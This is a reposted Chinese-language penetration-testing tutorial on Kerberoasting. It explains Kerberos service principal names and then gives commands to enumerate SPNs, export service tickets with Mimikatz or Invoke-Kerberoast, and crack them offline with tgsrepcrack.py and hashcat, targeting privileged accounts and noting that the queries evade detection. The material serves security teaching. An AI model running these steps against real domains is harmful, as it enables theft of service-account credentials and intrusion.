[转]Kerberoasting攻击
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
基本概念
SPN
全称 Service Principal Names
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为 Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
SPN的格式:
serviceclass/host:port/servicename
![[转]Kerberoasting攻击](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
tips:
1、serviceclass 可以理解为服务的名称,常见的有www、SMTP、DNS、exchange、HOST等
2、host有两种形式,FQDN和NetBIOS名,例如WIN-TL226LF48RT.corp.vk.local和WIN-TL226LF48RT
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作难以被检测到
(1) 使用SetSPN
Windows下自带工具
setspn.exe -q /
查看test域内所有的SPN:
setspn.exe -T test -q /
Kerberos的原理:
![[转]Kerberoasting攻击](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
在4.tgs_reply,用户将收到由目标服务实例的NTLM hash加密生成的TGS(Service ticket), 加密算法为RC4-HMAC
站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生产TGS进行比较。如果TGS相同,就能获取到目标实例的明文口令。
2、Windows系统通过SPN查询获得服务和服务实例账户的对应关系
这里举一个例子:
用户a要访问Mysql服务的资源,进行4.tgs_reply时,步骤如下:
(1)Domain Controller查询MySQL服务的SPN
如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户
如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户
(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS
Kerberoasting的实现方法
综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
具体思路为:
查询SPN -> 请求TGS -> 导出TGS -> 暴力破解
一、使用Mimikatz实现:
kerberos::list /export
![[转]Kerberoasting攻击](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
破解:
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
python tgsrepcrack.py wordlist.txt 0-40e00000-Administrator@krbtgt~CORP.VK.LOCAL-CORP
二、使用Powershell实现
自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:
使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解
实例演示:
在域内一台主机上以普通用户权限执行:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl-AdminCount表示选择高权限的用户
输出结果如下图
![[转]Kerberoasting攻击](https://www.moonsec.com/wp-content/themes/justnews/themer/assets/images/lazy.png)
只提取Hash:
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
使用hashcat破解的参数如下:
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt –force
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/576.html